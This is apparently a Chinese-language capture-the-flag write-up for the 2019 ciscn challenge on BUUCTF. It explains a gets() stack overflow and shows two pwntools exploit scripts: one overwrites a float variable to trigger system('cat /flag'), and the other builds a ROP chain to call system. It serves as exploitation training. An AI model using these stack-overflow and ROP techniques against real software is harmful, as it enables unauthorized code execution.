先看看开了什么保护机制
打开64位ida看看
如果v2为11.28125,那么就执行system("cat /flag"),这样就可以得到flag了,然后发现v2是局部变量,在栈上,然后还有个gets的栈溢出,所以这题还是比较简单的,不过有一点就是,因为是gets,而不是读入,所以不是简简单单的11.28125,我们应该去ida里看看这个11.28125在内存应该是什么样子的,首先,我们在ida中汇编语言找到if这段对应的部分,在gets之后
找到之后发现下面有三条汇编指令,第一条是把[rbp+var_4]里面的内容拷贝到xmm0里面,第二条就是把xmm0里的内容和cs:dword_4007f4里面的内容比较,第三条就是根据比较结果跳转不同的代码地址去执行,这个很明显就是if的作用,然后第一条的[rbp+var_4]很明显是一个栈上的内容,这个也就是代表v2,那么下面的cs:dword_4007f4就是我们11.28125存放的地址了,双击dword_4007f4查看这个里面的内容
发现是0x41348000,那么把这个覆盖到栈上v2对应的地方就行了
from pwn import*
p=remote('node4.buuoj.cn',28087)
#p=process('./ciscn')
#gdb.attach(p)
payload=b'a'*(0x30-0x4)+p64(0x41348000)
p.sendline(payload)
p.interactive()
这一题其实就是考验ida的使用,当然,如果你会,其实还有一种方法,gets的栈溢出是没有长度限制的,那么你参数给了,system函数地址也给了,还没开地址随机化,我直接覆盖返回地址构造rop不就好了
from pwn import*
p=remote('node4.buuoj.cn',28087)
#p=process('./ciscn')
#gdb.attach(p)
pop_rdi=0x400793
ret=0x400501
catflag=0x4007cc
system=0x400530
payload=b'a'*0x38+p64(pop_rdi)+p64(catflag)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
标签:BUUCTF,ciscn,p64,11.28125,system,2019,payload,ida
From: https://www.cnblogs.com/xyqer/p/16758432.html